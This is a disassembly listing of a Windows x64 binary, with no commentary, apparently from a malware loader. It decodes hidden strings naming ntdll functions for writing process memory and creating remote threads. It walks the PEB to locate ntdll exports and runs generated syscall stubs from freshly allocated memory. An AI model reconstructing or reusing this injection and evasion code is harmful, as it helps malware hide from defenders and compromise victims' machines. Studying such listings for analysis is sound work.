mov byte [rbp + 0x5b8], 2
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5b9], al
mov r9, rsi
mov r13d, 1
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5ba], al
mov r9, rsi
lea r8d, [r13 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5bb], al
mov r9, rsi
lea r8d, [r13 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5bc], al
mov r9, rsi
lea r8d, [r13 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5bd], al
mov r9, rsi
lea r8d, [r13 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5be], al
mov r9, rsi
lea r8d, [r13 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5bf], al
mov r9, rsi
lea r8d, [r13 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5c0], al
mov r9, rsi
lea r8d, [r13 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5c1], al
mov r9, rsi
lea r8d, [r13 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5c2], al
mov r9, rsi
lea r8d, [r13 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5c3], al
mov r9, rsi
lea r8d, [r13 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5c4], al
mov r9, rsi
lea r8d, [r13 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5c5], al
mov r9, rsi
lea r8d, [r13 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5c6], al
mov r9, rsi
lea r8d, [r13 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5c7], al
mov r9, rsi
lea r8d, [r13 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5c8], al
mov r9, rsi
mov r8, r15
mov dl, 0x6d
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5c9], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5ca], al
mov r9, rsi
lea r8d, [r13 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5cb], al
mov r9, rsi
lea r8d, [r13 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + 0x5cc], al
xor eax, eax
mov byte [rbp + 0x5cd], al
mov edi, eax
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x5b9]
lea rcx, [rbp + 0x5b8]
call fcn.140037880
mov byte [rbp + rdi + 0x5b9], al
add rdi, r13
cmp rdi, rsi
jb 0x140029ccf
xor edi, edi
mov byte [rbp + 0x5cd], dil
mov byte [rbp + 0x1a0], Ordinal_32
lea r14d, [rdi + 9]
mov r9d, r14d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1a0]
call fcn.140037108
mov byte [rbp + 0x1a1], al
mov r9d, r14d
lea r14d, [rdi + 1]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1a0]
call fcn.140037108
mov byte [rbp + 0x1a2], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x1a0]
call fcn.140037108
mov byte [rbp + 0x1a3], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x1a0]
call fcn.140037108
mov byte [rbp + 0x1a4], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x1a0]
call fcn.140037108
mov byte [rbp + 0x1a5], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1a0]
call fcn.140037108
mov byte [rbp + 0x1a6], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x1a0]
call fcn.140037108
mov byte [rbp + 0x1a7], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x1a0]
call fcn.140037108
mov byte [rbp + 0x1a8], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x1a0]
call fcn.140037108
mov byte [rbp + 0x1a9], al
xor eax, eax
mov byte [rbp + 0x1aa], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1a1]
lea rcx, [rbp + 0x1a0]
call fcn.140037108
mov byte [rbp + rdi + 0x1a1], al
add rdi, r14
cmp rdi, 9
jb 0x140029e0f
xor edi, edi
lea r14d, [rdi + 0x20]
mov byte [rbp + 0x1aa], dil
mov rax, qword gs:[0x60]
test rax, rax
je 0x140029f5a
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x70], edi
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140029ed7
lea esi, [rax + 1]
mov r10d, esi
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x140029eb0
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140029f33
mov rax, rcx
lea r9, [rbp + 0x1a1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140029f2c
add rax, r11
test edx, edx
jne 0x140029f17
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
test dil, dil
jne 0x14002a634
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
mov qword [rsp + 0x78], rax
xor edi, edi
cmp rax, qword [rbp - 0x80]
jne 0x140029e6b
mov eax, edi
cmp dword [rbp - 0x60], edi
jl 0x14002e3bb
test eax, eax
js 0x14002e3bb
mov byte [rbp + 0x298], gethostname
mov r9, r15
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x298]
call fcn.140037180
mov byte [rbp + 0x299], al
mov r9, r15
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x298]
call fcn.140037180
mov byte [rbp + 0x29a], al
mov r9, r15
lea r8d, [rsi + 1]
mov dl, 0x43
lea rcx, [rbp + 0x298]
call fcn.140037180
mov byte [rbp + 0x29b], al
mov r9, r15
lea r8d, [rsi + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x298]
call fcn.140037180
mov byte [rbp + 0x29c], al
mov r9, r15
lea r8d, [rsi + 3]
mov dl, 0x65
lea rcx, [rbp + 0x298]
call fcn.140037180
mov byte [rbp + 0x29d], al
mov r9, r15
lea r8d, [rsi + 4]
mov dl, 0x61
lea rcx, [rbp + 0x298]
call fcn.140037180
mov byte [rbp + 0x29e], al
mov r9, r15
lea r8d, [rsi + 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x298]
call fcn.140037180
mov byte [rbp + 0x29f], al
mov r9, r15
lea r8d, [rsi + 6]
mov dl, 0x65
lea rcx, [rbp + 0x298]
call fcn.140037180
mov byte [rbp + 0x2a0], al
mov r9, r15
lea r8d, [rsi + 7]
mov dl, 0x54
lea rcx, [rbp + 0x298]
call fcn.140037180
mov byte [rbp + 0x2a1], al
mov r9, r15
lea r8d, [rsi + 8]
mov dl, 0x68
lea rcx, [rbp + 0x298]
call fcn.140037180
mov byte [rbp + 0x2a2], al
mov r9, r15
lea r8d, [rsi + 9]
mov dl, WSAStartup
lea rcx, [rbp + 0x298]
call fcn.140037180
mov byte [rbp + 0x2a3], al
mov r9, r15
lea r8d, [rsi + 0xa]
mov dl, 0x65
lea rcx, [rbp + 0x298]
call fcn.140037180
mov byte [rbp + 0x2a4], al
mov r9, r15
lea r8d, [rsi + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x298]
call fcn.140037180
mov byte [rbp + 0x2a5], al
mov r9, r15
lea r8d, [rsi + 0xc]
mov dl, 0x64
lea rcx, [rbp + 0x298]
call fcn.140037180
mov byte [rbp + 0x2a6], al
mov r9, r15
lea r8d, [rsi + 0xd]
mov dl, 0x45
lea rcx, [rbp + 0x298]
call fcn.140037180
mov byte [rbp + 0x2a7], al
mov r9, r15
lea r8d, [rsi + 0xe]
mov dl, 0x78
lea rcx, [rbp + 0x298]
call fcn.140037180
mov byte [rbp + 0x2a8], al
xor eax, eax
mov byte [rbp + 0x2a9], al
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0x299]
lea rcx, [rbp + 0x298]
call fcn.140037180
mov byte [rbp + rdi + 0x299], al
add rdi, rsi
cmp rdi, r15
jb 0x14002a12f
mov esi, reloc.WS2_32.dll_sendto
xor edi, edi
mov byte [rbp + 0x2a9], dil
mov byte [rbp + 0x1b0], 0x50
lea ebx, [rsi - 0xb]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1b0]
call fcn.140037108
mov byte [rbp + 0x1b1], al
mov r9d, ebx
lea ebx, [rsi - 0x13]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1b0]
call fcn.140037108
mov byte [rbp + 0x1b2], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x12]
mov dl, 0x64
lea rcx, [rbp + 0x1b0]
call fcn.140037108
mov byte [rbp + 0x1b3], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x11]
mov dl, 0x6c
lea rcx, [rbp + 0x1b0]
call fcn.140037108
mov byte [rbp + 0x1b4], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x10]
mov dl, 0x6c
lea rcx, [rbp + 0x1b0]
call fcn.140037108
mov byte [rbp + 0x1b5], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xf]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1b0]
call fcn.140037108
mov byte [rbp + 0x1b6], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x1b0]
call fcn.140037108
mov byte [rbp + 0x1b7], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x1b0]
call fcn.140037108
mov byte [rbp + 0x1b8], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x1b0]
call fcn.140037108
mov byte [rbp + 0x1b9], al
xor eax, eax
mov byte [rbp + 0x1ba], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1b1]
lea rcx, [rbp + 0x1b0]
call fcn.140037108
mov byte [rbp + rdi + 0x1b1], al
add rdi, rbx
cmp rdi, 9
jb 0x14002a272
mov ebx, reloc.WS2_32.dll_recvfrom
xor r9d, r9d
mov byte [rbp + 0x1ba], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002aaf4
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x70], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14002a345
lea ebx, [rax + 1]
mov r10d, ebx
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, ebx
add rdx, rbx
cmp rdx, r8
jl 0x14002a319
mov ebx, reloc.WS2_32.dll_recvfrom
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14002a3a1
mov rax, rcx
lea r9, [rbp + 0x1b1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002a39a
add rax, r11
test edx, edx
jne 0x14002a385
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor r9d, r9d
test dil, dil
jne 0x14002a885
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
mov qword [rsp + 0x78], rax
cmp rax, qword [rbp - 0x80]
jne 0x14002a2d0
jmp 0x14002aaf4
mov edx, dword [rdx + 0x14]
sub rdx, rcx
add rdx, qword [r8]
add rdx, qword [rbp + 0xc30]
jmp 0x140029554
mov rcx, qword [rsp + 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140029a9c
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140029a9c
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140029a9c
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140029a9c
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140029a9c
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x5d1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002a475
inc rax
test edi, edi
jne 0x14002a460
xor r9d, r9d
test r8d, r8d
je 0x14002a48b
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14002a44f
jmp 0x140029a9c
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140029a9c
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140029a9c
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
call fcn.140095f90
or dword [rbp + 0x1bf14], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1ab90]
call fcn.14003804c
lea rcx, [rbp + 0x1ab90]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea r15d, [rax + 1]
lea rcx, [rbp + 0x1ab90]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x34550], rax
add rdi, r15
cmp rdi, 0x200
jl 0x14002a532
mov r15d, reloc.WS2_32.dll_recv
mov rdi, qword [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x34550]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xec8], eax
lea r9, [rbp + 0xec8]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x30]
mov r8, qword [rbp - 0x60]
mov rdx, qword [rbp + 0xc28]
mov rcx, qword [rbp - 0x40]
call rdi
mov dword [rbp - 0x60], eax
lea r9, [rbp + 0xec8]
mov r8d, dword [rbp + 0xec8]
mov edx, 0x1000
mov rdi, qword [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bdea0
lea edx, [r15 - 5]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400f1364], eax
jmp 0x140029aa0
mov rcx, qword [rsp + 0x78]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x140029f5a
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140029f5a
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140029f5a
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140029f5a
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140029f5a
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x5b9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002a6c7
inc rax
test edi, edi
jne 0x14002a6b2
xor edi, edi
test r8d, r8d
je 0x14002a6dc
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14002a6a1
jmp 0x140029f5a
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140029f5a
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140029f5a
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
call fcn.140095f90
or dword [rbp + 0x1d2a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1bf20]
call fcn.14003804c
lea rcx, [rbp + 0x1bf20]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x1bf20]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x35550], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x14002a780
mov ebx, reloc.WS2_32.dll_recvfrom
mov rdi, qword [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x35550]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xec4], eax
lea r9, [rbp + 0xec4]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 0x22]
lea r8, [rbp + 0x282c0]
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x40]
call rdi
mov dword [rsp + 0x60], eax
lea r9, [rbp + 0xec4]
mov r8d, dword [rbp + 0xec4]
mov edx, 0x1000
mov rdi, qword [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bdea0
lea edx, [rbx - 6]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
mov dword [0x1400f1364], edi
mov eax, dword [rsp + 0x60]
jmp 0x140029f5c
mov rcx, qword [rsp + 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14002aaf4
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002aaf4
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002aaf4
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002aaf4
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14002aaf4
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x299]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002a917
inc rax
test edi, edi
jne 0x14002a902
test r8d, r8d
je 0x14002a92a
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14002a8f1
jmp 0x14002aaf4
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002aaf4
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002aaf4
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x70], rax
call fcn.140095f90
or dword [rbp + 0x8614], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7290]
call fcn.14003804c
lea rcx, [rbp + 0x7290]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea esi, [rax + 1]
lea rcx, [rbp + 0x7290]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x36550], rax
add rdi, rsi
cmp rdi, 0x200
jl 0x14002a9d0
mov esi, reloc.WS2_32.dll_sendto
mov rdi, qword [rsp + 0x70]
mov r8d, 0x1000
lea rdx, [rbp + 0x36550]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xec0], eax
lea r9, [rbp + 0xec0]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x40]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0xd80]
call rdi
mov edi, eax
lea r9, [rbp + 0xec0]
mov r8d, dword [rbp + 0xec0]
mov edx, 0x1000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rsp + 0x70]
call fcn.1400bdea0
lea edx, [rsi - 9]
mov r8d, 0x8000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400f1364], eax
test edi, edi
js 0x14002df16
mov rax, qword [rbp + 0xd80]
mov qword [rbp - 0x30], rax
cmp rax, 0xffffffffffffffff
je 0x14002df16
mov byte [rbp + 0x6f0], 0x48
mov edi, reloc.WS2_32.dll_setsockopt
mov r9d, edi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x6f1], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x6f2], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, 0x57
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x6f3], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, 0x61
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x6f4], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x69
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x6f5], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x6f6], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x46
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x6f7], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x6f8], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, WSAStartup
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x6f9], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x53
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x6fa], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x6fb], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x6fc], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x67
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x6fd], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x6c
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x6fe], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x65
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x6ff], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x700], al
mov r9d, edi
mov r8, r15
mov dl, 0x62
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x701], al
mov r9d, edi
mov r8, rbx
mov dl, 0x6a
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x702], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x65
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x703], al
mov r9d, edi
lea edi, [r9 - 2]
mov r8d, edi
mov dl, 0x63
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
